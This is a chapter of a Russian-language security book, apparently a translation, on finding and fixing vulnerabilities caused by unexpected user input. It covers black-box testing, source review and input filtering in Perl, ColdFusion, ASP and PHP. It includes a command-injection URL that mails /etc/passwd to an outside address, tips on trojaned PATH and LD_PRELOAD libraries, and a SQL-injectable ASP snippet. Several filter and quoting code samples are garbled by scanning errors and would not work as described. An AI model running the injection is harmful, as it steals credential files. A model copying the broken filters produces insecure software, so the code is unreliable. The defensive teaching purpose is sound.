Будем надеяться, что читатель понял, какую проблему для безопасности представляют не предусмотренные разработчиком приложения данные, введенные пользователем. Следующее, что нужно узнать, - это уязвимо ли ваше приложение. Но как это сделать? Этот раздел посвящен наиболее общим методам, которые используются для определения уязвимости приложения и устранения их.

Тестирование методом «черного ящика»

В Web-приложениях проще всего найти уязвимости, вызванные вводом непредвиденных данных. Объясняется это их многочисленностью и широким распространением. Прежде всего следует исследовать HTML-формы и URL с параметрами (параметры - это значения после знака «?» в URL).

Для тестирования рекомендуется найти Web-приложение, которое поддерживает динамические страницы с большим количеством параметров в URL. Для начала можно использовать придирчивую методику поиска, основанную на замене некоторых значений параметров. Это не так уж и сложно. Для повышения эффективности поиска потенциальных уязвимостей следует придерживаться следующих правил.

Интуитивное понимание принципов работы приложения. Предусмотрена ли в приложении работа с электронными заказами? Если да, то, скорее всего, приложение взаимодействует с какой-нибудь базой данных. Предусмотрена ли возможность обратной связи с приложением после предъявления пользователю HTML-формы? Если да, то, скорее всего, после заполнения HTML-формы будет вызвана внешняя программа или процедура для отсылки электронной почты.

Контроль хода выполнения интерактивной обработки в приложении от начала до конца хотя бы один раз. Следует сохранить и проанализировать каждую HTML-форму, переданную пользователю. Посмотрите, нет ли на форме скрытых полей. Скрытые поля ввода могут содержать ранее введенные данные. Дефект приложения может состоять в том, что сначала оно получает данные пользователя и обрабатывает их, а затем возвращает обратно пользователю в скрытом виде. После повторного получения данных приложение может полагать, что назад обработанные данные вернулись без изменений, хотя пользователь мог аннулировать обработку данных, изменив их.

Умышленная попытка создания аварийной ситуации. Попытайтесь оставить некоторые поля ввода пустыми или ввести в них столько «плохих» символов, сколько возможно (поместите буквы туда, где должны быть цифры и т. п.). Цель подобных манипуляций - выяснить реакцию приложения на ошибку. Если приложение обнаружит ошибку, то реакция приложения поможет установить алгоритм проверки входных данных. Если приложение выдает диагностические сообщения об ошибке в данных или выводит уже исправленные значения, то следует поэкспериментировать с символами ASCII, чтобы определить, какие данные приложением отбраковываются, а какие - нет. Данные, отбракованные приложением, могут подсказать алгоритм обработки данных. Например, если приложение отсеивает одинарные или двойные кавычки, то данные, вероятнее всего, используются в запросах SQL. Если приложение избавляется от всех метасимволов командного процессора UNIX, то возможно, что они передаются в другую программу.

Систематичная проверка каждого параметра на возможность его заключения сначала в одинарные (), а затем двойные кавычки ("). Если при заключении параметра в одинарные или двойные кавычки приложение сообщает об ошибке, то это может означать передачу в запрос SQL параметров без всяких изменений. При экспериментах с кавычками (одинарными или двойными) проверяется возможность обработки строк в запросах SQL. Если приложение сообщает об ошибке, следует определить, является ли это реакцией приложения на неверные данные (в кавычках) или на ошибку выполнения запроса SQL (что вполне может быть в случае лишних кавычек).

Определение необходимости и/или полезности каждого параметра. Длинные последовательности строк и чисел, похожие на случайные последовательности, могут быть ключами сессий. Следует несколько раз выполнить ввод одних и тех же данных. Увиденные изменения могут многое сказать о сессии. Насколько сильны изменения? Обратите внимание, изменяется ли длина строки линейно. Некоторые приложения используют идентификатор процесса (PID) в качестве «случайного числа». Возрастающее число, меньшее 65 536, может быть основано на идентификаторе процесса.

Анализ общего состояния Web-сайта и приложения и его использование для предположений об алгоритме работы приложения. Малобюджетные компании, применяющие в своей работе информационный сервер Интернет IIS для Windows NT, вероятнее всего, используют на серверах баз данных Microsoft Access, а крупные корпорации, поддерживающие одновременную работу большого числа пользователей, используют что-то более солидное типа Oracle. Если на сайте используются сценарии интерфейса CGI, загруженные с многочисленных Интернет-ресурсов, то можно предположить, что приложения сайта не писались наспех и полностью адаптированы к потребностям своего сайта. Следует попытаться обнаружить, используется ли на сайте уже известное приложение. И если используется, то попытаться найти его исходный код.

Поиск имени файла. Следует не упустить из виду чего-нибудь, напоминающее имя файла. Имена файлов близки к формату «8.3» (который порожден операционной системой СР/М и был перенят в Microsoft DOS). Признаками имени файла являются строки «.tmp» и строки, состоящие только из букв, чисел, точек и, возможно, символов косой черты (прямой или обратной, в зависимости от используемой платформы). Рассмотрим указатель информационного ресурса URL для машины индексированного поиска в сети Интернет swish-e компании Simple Web Indexing System for Humans, Enhanced: search, cgi/? swi shindex=%2Fusr%2Fbin%2F swi sh%2F db. swi sh& keywords=key&maxresults=40

Надеюсь, читатель сможет найти в URL замаскированный параметр swishindex=/usr/bin/swish/swish.db. Интуитивно понятно, что программа swish-e работает с этим файлом. Следует попытаться подставить в параметр известные имена файлов и посмотреть, сможет ли swish-e работать с ними. Скорее всего, ничего не получится. Наверняка для идентификации правильного файла используется внутренний заголовок файла. Это означает, что программа swish-e не прочитает ничего, кроме нужного ей файла. Тем не менее беглый просмотр исходного текста программы (программа swish-e свободно распространяется) многое прояснит. Для выполнения запроса swish-e получает значения переданных параметров (swishindex, keywords и maxresults) и запускает программу swish с параметрами:

swish -f $swishindex -w $keywords -m $maxresults

Но это недозволенный прием, потому что программа swish-e передает параметры пользователя напрямую командному интерпретатору в качестве параметров для другого приложения. Это означает, что если любой из параметров содержит метасимволы командного процессора в операционной системе UNIX (которые программа swish-e никак не контролирует), то могут быть выполнены системные команды. Пусть задан следующий URL: search. cgi/?swishindex=swish.db&maxresults=40 &keywords=“cat/etc/passwdmail

rfp@wiretrip.net“

В результате будет получено электронное письмо с копией файла паролей. Исследование технологических ограничений серверов баз данных, Web-серверов, языков создания сценариев и приложений. Например, технология активных серверных страниц ASP (ASP-Active Server Pages) на информационном сервере Интернет IIS не предусматривает выполнения команд командного процессора или программ с интерфейсом командной строки. Поэтому в данной ситуации нет необходимости подставлять метасимволы UNIX в параметры запроса.

Поиск выражений равенства, формул или фрагментов программного кода. Если удастся найти что-нибудь, похожее на выражения равенства, формулы или фрагмент программного кода, то обычно это указывает на возможность передачи значений параметров функции типа «eval», которая позволяет выполнить код пользователя.

Поставьте себя на место разработчика. Если вам недоплатили, вам скучно или у вас нет времени, какую программу вы напишите? Скажем, вы администратор одного из новых доменов верхнего уровня TLD (Top Level Domain). В практике администрирования широко используются формы «whois» для определения доступности домена. С их помощью можно зарезервировать домен, если он доступен. Если разработчику предоставить выбор - написать собственную программу поддержки формы «whois» или воспользоваться стандартной командного интерпретатора UNIX, то он, практически не задумываясь, выберет более легкий путь: возьмет за основу стандартную программу и адаптирует ее для нужд своего приложения.

Обнаружение неполадок в сетевых службах и локальных приложениях В мире существует не только бесчисленное множество Web-приложений. Приведем несколько советов по поиску неполадок в сетевых службах.

1. Если сетевой сервис использует опубликованный протокол (например, установленный RFC (Requests for Comments) - серия документов IETF под названием «Запросы на комментарии», начатая в 1969 году и содержащая описания набора протоколов Интернет и связанную с ними информацию), то обязательно просмотрите протокол и найдите описания областей хранения строк переменной длины и массивов данных. Они могут быть уязвимы к атакам переполнения буфера.

2. Поищите спецификации протокола, определяющие, что строка не должна быть больше установленной длины. Любая из них является источником потенциальной уязвимости для атак переполнения буфера, поскольку предполагает, что никто не станет нарушать спецификации протокола.

3. Установите связь с тестируемой сетевой службой и перешлите ей большой массив случайных данных. Некоторые приложения неверно обрабатывают не описанные в протоколе данные и аварийно завершаются, что приводит к ситуации «отказ в обслуживании».

4. Установите связь с тестируемой сетевой службой и, не посылая никаких данных, узнайте, сколько времени потребуется для того, чтобы сетевая служба выдала сообщение о разрыве соединения и завершила сеанс. Некоторые приложения окажутся в состоянии постоянного ожидания, что может привести к истощению ресурсов, если злоумышленник попытается установить соединение с многочисленными копиями программы сетевой службы. Проблема усугубляется, если сетевая служба не обслуживает нескольких пользователей одновременно (одна сервисная служба обслуживает одно обращение к серверу), поскольку в этом случае обращения других пользователей сетевой службой не обрабатываются.

Но, естественно, ошибки могут быть и в локальных приложениях. При тестировании локальных утилит suid/sgid рекомендуется:

1) переслать приложению большой массив данных, задав соответствующие параметры командной строки. Многие приложения suid/sgid уязвимы к атакам переполнения буфера;

2) присвоить переменной окружения PATH значение локальной директории, в которой хранятся копии пораженных «троянцами» программ и к которым обращается приложение. Узнать о вызове приложением внешних программ можно дизассемблированием приложения или, что лучше, при помощи утилиты strings системы UNIX, позволяющей найти имена внешних программ в двоичном коде исследуемого приложения;

3) присвоить переменной окружения LDPRELOAD ссылку на библиотеку, пораженную «троянцем». Некоторые приложения и системы позволяют с ее помощью задавать дополнительные динамические библиотеки. В результате приложение может повысить свои привилегии. Отметим, что это в большей степени ошибка операционной системы, чем приложения;

4) проверьте, не использует ли приложение функцию getenvQ для чтения значения переменной окружения. Многие приложения уязвимы к атакам «переполнения буфера» (в результате присвоения переменной окружения данных большой длины) и атакам «изменение ссылки на файл» (в результате определения в переменной окружения дополнительных файлов, журналов или директории). Единственный способ удостовериться в том, что в приложении используются переменные окружения, заключается в поиске утилитой strings системы UNIX в двоичном коде исследуемого приложения имен переменных в верхнем регистре;

5) постарайтесь изменить содержимое конфигурационного файла приложения, если он может быть изменен пользователем. Во многих приложениях реализован не самый лучший вариант анализа конфигурационного файла. Цель изменения файла заключается в вызове ситуации переполнения буфера путем присваивания различным атрибутам очень длинных строковых значений.

Анализ исходных текстов программ

Аудит приложения более эффективен, если доступен исходный текст его программ. Тогда можно использовать поиск различий (диффинг) различных версий приложения (поиск различий был описан в главе 5). Поиск различий заключается в сравнении версий одного и того же приложения для нахождения в них уязвимостей или изменений. Но как найти уязвимость, вызванную передачей приложению не предусмотренных разработчиком входных данных или данных неверного формата?

Для этого следует найти вызовы системных функций и проследить, откуда берутся передаваемые им данные. Связаны ли они как-нибудь с входными данными? Если связаны, то следует попытаться определить, как именно. Часто трассировка хода выполнения приложения от точки ввода непредусмотренных данных заводит в тупик. Поэтому лучше начать с системных функций и проследить историю появления входных данных системных функций.

Синтаксис системных функций и их входных данных зависит от языка, в котором они используются. Прежде всего следует обратить внимание на точки вызова программ (функции exec, system), функции работы с файлами (open, fopen), запросы к базам данных (команды SQL). В идеале следует найти все входные данные пользователя и места их использования. Это даст возможность определить, действительно ли обработка данных пользователя представляет интерес с точки зрения обеспечения безопасности.

В качестве примера рассмотрим фрагмент приложения:

<% SQLquery=“ SELECT * FROM phonetable WHERE name=’” & request.querystring(“name”) &
Set Conn = Server.CreateObject(“ADODB.Connection”)
Conn.Open “ DSN=websql;UID=webserver;PWD=w3bs3rv3r;DATABASE=data”
Set rec = Server. CreateObject(“ADODB .RecordSet”) rec. Acti veConnecti on=C onn rec.Open SQLquery %>

Видно, что перед выполнением запроса SQL введенные пользователем данные не проверяются. Например, никак не контролируется значение параметра пате перед включением его в запрос, поэтому злоумышленнику будет очень просто заставить приложение пропустить запрос SQL и выполнить нужные ему команды. Контроль данных

Лучший способ борьбы с не предусмотренными разработчиком данными - проверка их на допустимые значения. Помня о принципе сведения проверок к минимуму, следует оценить диапазон значений тех или иных символов для каждого сообщения, передаваемого пользователем.

Например, в почтовом индексе должны присутствовать только числа и, возможно, символ дефиса для США. Телефонный номер состоит из чисел и символов форматирования (круглых скобок и дефиса). Для адреса требуются цифры и буквы, для имени - только буквы. Конечно, можно считать символы форматирования допустимыми, но с каждым символом возрастает потенциальный риск возникновения уязвимости. Хотя числа и буквы в общем-то безобидны, но тем не менее вполне возможно включение во входные данные приложения дополнительных команд SQL с использованием только букв, чисел и символа пробела. На это не потребуется много усилий, так что задумайтесь лучше об ограничении входного потока данных.

Пропуск символов

При просмотре документации по интерфейсу CGI для программистов поражает количество советов избегать применения управляющих символов командного процессора. Зачем их избегать, если они не вообще не нужны? К тому же возможны случаи, когда недостаточно просто пропустить без обработки символы командного процессора.

Например, нельзя в строке пропустить символ возврата каретки, поместив перед ним символ обратной косой черты «\». В результате действие символа возврата каретки отменено не будет, а строка закончится символом «\», который имеет особое значение для командного процессора UNIX. С символом NULL та же история. Если NULL пропустить в строке, то строка закончится символом обратной косой черты «\». В языке Perl функция open выполняется по-особенному, если имя файла завершается символом со специальным значением «I», невзирая на наличие символа обратной косой черты «\» перед ним.

Лучше удалить опасные символы данных, чем попытаться их пропустить или обезвредить. Не всегда понятно, как будут восприняты те или иные символы, поэтому с точки зрения обеспечения безопасности сомнительные символы лучше удалить.

Естественно, в каждом языке предусмотрены свои собственные средства контроля опасных символов данных. Рассмотрим некоторые популярные языки и встроенные в них средства контроля.

Язык Perl

В языке Perl оператор замены строк с ключом удаления (tr///d) хорошо справляется с удалением символов из обрабатываемой строки. Совместное использование ключей удаления и инверсии (tr///cd) позволяет удалить из обрабатываемой строки все символы, кроме указанных. Оператор замены строк не использует нотацию регулярных выражений regex, а обрабатывает строку посимвольно. Например, чтобы оставить в строке только цифры, следует выполнить следующий оператор:

$data =~ tr/0-9//cd

Диапазон чисел /0-9 / совместно с ключами дополнения и инверсии cd, заданными в операторе замены строк tr, указывают на необходимость удаления любых нечисловых символов из обрабатываемой строки (вместо замены их на другой символ). Оператор подстановки текста (sIII) языка Perl хотя и медленнее, но предоставляет программисту больше возможностей. Он позволяет использовать всю мощь регулярных выражений regex для изощренной обработки строк по шаблонам в соответствии с форматом. Например, чтобы в строке сохранить только цифры, следует выполнить следующий оператор:

$data =~ s/[A0-9]//g

Ключ g указывает на необходимость обработки всех, в том числе и одинаковых, символов строки. В состав модуля интерфейса базы данных DBI (Database Interface) входит функция работы с кавычками quote, которой передается строка запроса SQL и которая возвращает ее копию с правильно расставленными с точки зрения запроса кавычками, в том числе расставляя корректные кавычки по концам строки:

$clean = $db->quote($data)

Следует подчеркнуть, что функция обрамляет строку одинарными кавычками, так что правильный запрос SQL выглядит таким образом:

SELECT * FROM table WHERE x=$data, а не так:

SELECT * FROM table WHERE x=’$data’ Язык разметки COLD Fusion Для удаления нежелательных символов из строки данных можно использовать функции языка разметки COLD Fusion (CFML-COLD Fusion Markup Language), поддерживающие регулярные выражения regex. К их числу принадлежит функция REReplace.

REReplace(data, “regex pattern”, “replace with”, “ALL”)

Параметр «ALL» указывает функции на необходимость выполнить замену символов во всей строке в соответствии с шаблоном. Например, чтобы оставить в строке data только числа, следует вызвать функцию:

REReplace(data, “[Л0-9]”, “”, “ALL”)

В языке разметки CFML предусмотрена функция, которая, в отличие от функции REReplace, заменяет только один символ на другой или одну строку на другую (но не группу символов). Реже используется функция replacelist. Она применяется для замены одних известных символов на другие:

ReplaceList(data, “,!,$”, “X,Y,Z”)

В этом примере символы «1 !$» заметаются символами «XYZ». Технология ASP В новейшей технологии ASP (Active Server Pages), разработанной корпорацией Microsoft, представлен новый regex-объект регулярных выражений. Его используют для замены данных по шаблону, например:

set reg = new RegExp reg.pattern = “[Aa-zA-Z0-9]” data = reg.replace(data, “”)

Для замены символов можно использовать системную настраиваемую функцию replace, но для этого нужен навык обращения с функцией посимвольной замены. Например, следующий код используется для оставления в строке только чисел:

function ReplaceFunc(MatchedString) { return

var regex = /[A0-9]/g;

data = data.replace(regex, ReplaceFunc);

В фрагменте кода задана функция ReplaceFunc, которая вызывается для каждого заменяемого символа функцией replace в соответствии с шаблоном regex. В ранних версиях ASP единственным способом проверки символов в строке было сравнение каждого символа строки с заданными ограничениями: проверяемый символ принадлежит или не принадлежит заданному диапазону значений величин ASCII, либо удовлетворяет или не удовлетворяет заданным логическим условиям. Излишне говорить, что метод регулярных выражений regex стал долгожданным нововведением.

Язык РНР

В языке программирования РНР предусмотрен ряд функций, полезных для обработки непредвиденных данных и данных неверного формата. Для фильтрации данных в соответствии с заданным набором символов можно использовать функцию замены ereg_replace языка РНР, основанную на регулярных выражениях regex: ereg_replace(“regex string”, “replace with”, $data)

Ниже приведен вариант вызова функции для удаления из строки всех нечисловых символов:

ereg_replace(“[A0-9]”, $data)

Вспомните, что шаблон «[А0-9]» означает, что надо заменить все, что не является числом на строку «», которая является пустой строкой, а значит, нечисловой символ удаляется. Для пропуска символов из небольшого набора метасимволов (символов специального назначения) в РНР включена функция quotemeta:

$clean = quotemeta($data)

При использовании функции нужно быть внимательным, потому что число обрабатываемых функцией символов невелико, не больше следующего списка символов (\+?[А](*)Ю Функция addslashes - другая полезная функция, которая часто используется в запросах SQL:

$clean = addslashes($data)

Функция addslashes добавляет символ обратной косой черты (\) перед всеми символами одинарных кавычек (), двойных кавычек ("), обратной косой черты (\) и NULL-символами. Это серьезная защита от действий злоумышленника, пытающегося использовать SQL-запрос пользователя в своих целях. В SQL-запросах некоторых систем управления базами данных (например, Sybase или Oracle) для пропуска одинарных кавычек () используются их дублирование («), а не символ обратной косой черты (\»), Для этого используется функция ereg_replace в следующем виде:

ereg_replace(“‘”, $data) Защита запросов SQL

Пользователь может успешно противостоять атакам злоумышленника даже при всем богатстве арсенала средств использования злоумышленником SQL-запросов пользователя в своих преступных целях. На самом деле при правильном использовании SQL-запросов у злоумышленника почти нет шансов получить доступ к приложению пользователя.

Повсеместно используемый современный метод защиты от атак злоумышленника на SQL-запросы называется заключением в кавычки (quoting) и по существу основан на правильном заключении в кавычки передаваемых данных и контроле над отсутствием лишних кавычек. Многие средства программного интерфейса с базами данных (например, модули DBI языка Perl) предлагают использовать различные функции заключения строк в кавычки. Тем не менее, чтобы не было недопонимания по этому вопросу, рассмотрим процедуру quotedata на языке Perl.

sub quotedata { my $incoming=shift;
$incoming=~s/[““]/’ 7g; return “‘$incoming’”; }

В процедуре для обработки входных данных используется функция подстановки языка Perl, которая в случае обнаружения одинарных или двойных кавычек подставляет вместо них две одинарные кавычки. Такой вариант обработки данных является допустимым способом размещения кавычек внутри данных запроса SQL. Другой вариант заключается в удалении всех кавычек, правда, при этом поток данных будет модифицирован. Обработанные данные заключаются в одинарные кавычки и возвращаются приложению, вызвавшему процедуру. В приложении функция quote data должна быть использована следующим образом:

# ... incoming user data is placed in $data $quoted_data = quotedata($data);
$sql_query = “SELECT * FROM table WHERE column = $quoted_data”;
# ... execute your SQL query

Таким образом, значение переменной $data будет правильно заключено в кавычки, а запрос - обработан системой управления базами данных без ошибки. Но только правильное заключение данных в кавычки не означает полную защиту от возможных проблем. Некоторые системы управления базами данных могут интерпретировать отдельные обнаруженные внутри данных символы как команды. Например, ядро базы данных Microsoft Jet до версии 4.0 распознавало среди данных внутренние команды VBA вне зависимости от того, правильно они были взяты в кавычки или нет. Удалять неверные данные или сообщить об ошибке?

При обработке входных данных пользователя у разработчика есть два варианта. Первый - при обнаружении неверных входных данных удалить их, не сообщая об этом пользователю, и, оставив правильные данные без изменения, продолжить обработку оставшихся данных. И второй - сразу же прекратить обработку данных при обнаружении в них ошибки и сообщить о найденной ошибке. Каждый подход имеет свои «за» и «против».

Если приложение сообщает пользователю о найденных ошибках входных данных, то злоумышленник может воспользоваться сообщениями для поиска прорех в защите приложения. Он сможет быстро определить, какие символы приложение пытается использовать не по назначению, пересылая их приложению и отслеживая результаты. Эта методика незаменима для обнаружения уязвимостей в приложениях с недоступным исходным текстом.

Незаметная для пользователя фильтрация входных данных, основанная на удалении неверных данных без сообщения об ошибке и допускающая ввод только безопасных символов, не лишена недостатков. Во-первых, не ошибитесь, данные после проверки на допустимость могут измениться. Во-вторых, если при фильтрации нарушена целостность данных, то результат непредсказуем. Например, удаление символов из пароля может породить ошибки. И наконец, в-третьих, приложение может оказать неоценимую услугу злоумышленнику, если оно печатает переданные данные после их фильтрации: злоумышленник увидит, что в запросе было удалено.

Правильное решение на самом деле зависит от рассматриваемого приложения. Рекомендуется использовать комбинацию двух подходов, исходя из типа передаваемых входных данных и требований к их целостности.

Функции контроля непредвиденных данных

Централизованная выдача диагностических сообщений об ошибках входных данных приложения в одной функции позволит упростить контроль непредвиденных входных данных. Значение контроля входных данных огромно. Благодаря контролю можно узнать ошибки фильтрации входных данных пользователя и, что более важно, когда и каким образом злоумышленник попытается изменить логику работы приложения. Поэтому настоятельно рекомендуется использовать централизованные функции выдачи диагностических сообщений об ошибках при вводе данных.

В централизованной функции контроля входных данных удобно организовать регистрацию всех нарушений и передачу необходимой информации для дальнейшей обработки. Минимум реализованных в подобной функции действий - запись неверных данных в журнал регистрации и анализ ошибки: было ли это случайной ошибкой пользователя, который ввел неправильный символ, или это была целенаправленная атака злоумышленника, пытающегося извлечь выгоду из приложения. Можно предусмотреть сбор информации об ошибках для последующей статистической обработки с целью определения «профиля ввода»(«трЩ profiling»), то есть выявления наиболее часто встречающихся ошибок. Полученные результаты используются для более тщательной «настройки» фильтров приложения.

Ошибки входных данных следует фиксировать с самого начала эксплуатации приложения. С течением времени в функцию контроля входных данных вносятся необходимые дополнения и исправления. Основываясь на накопленной информации об ошибках, можно предусмотреть в функции контроля дополнительные правила проверки или оставить приложение без изменений. Функция контроля и выявления нарушений позволяет централизованно обрабатывать выявленные нарушения во входных данных, при необходимости сообщая о неверном вводе и прекращая работу приложения.

Подмена значений

Подмена значений - уловка, основанная на замене одного значения (обычно случайного значения ключа сессии большой длины) другим, который каким-то образом связан с уязвимыми данными. В результате клиенту вместо пересылки по сети уязвимых данных пересылается подмененное значение, использование которого ограничено рамками приложения. При использовании подмены уязвимых данных каким-либо значением оно должно быть случайным и большим, чтобы злоумышленник не смог угадать алгоритм его порождения и получить доступ к уязвимым данным. Это очень похоже на разработку cookies в протоколе HTTP.

Поиск обусловленных непредвиденными входными данными уязвимостей | Защита от хакеров корпоративных сетей | Использование средств безопасности языков программирования для обработки непредвиденных данных


Защита от хакеров корпоративных сетей



Новости за месяц

  • Июнь
    2019
  • Пн
  • Вт
  • Ср
  • Чт
  • Пт
  • Сб
  • Вс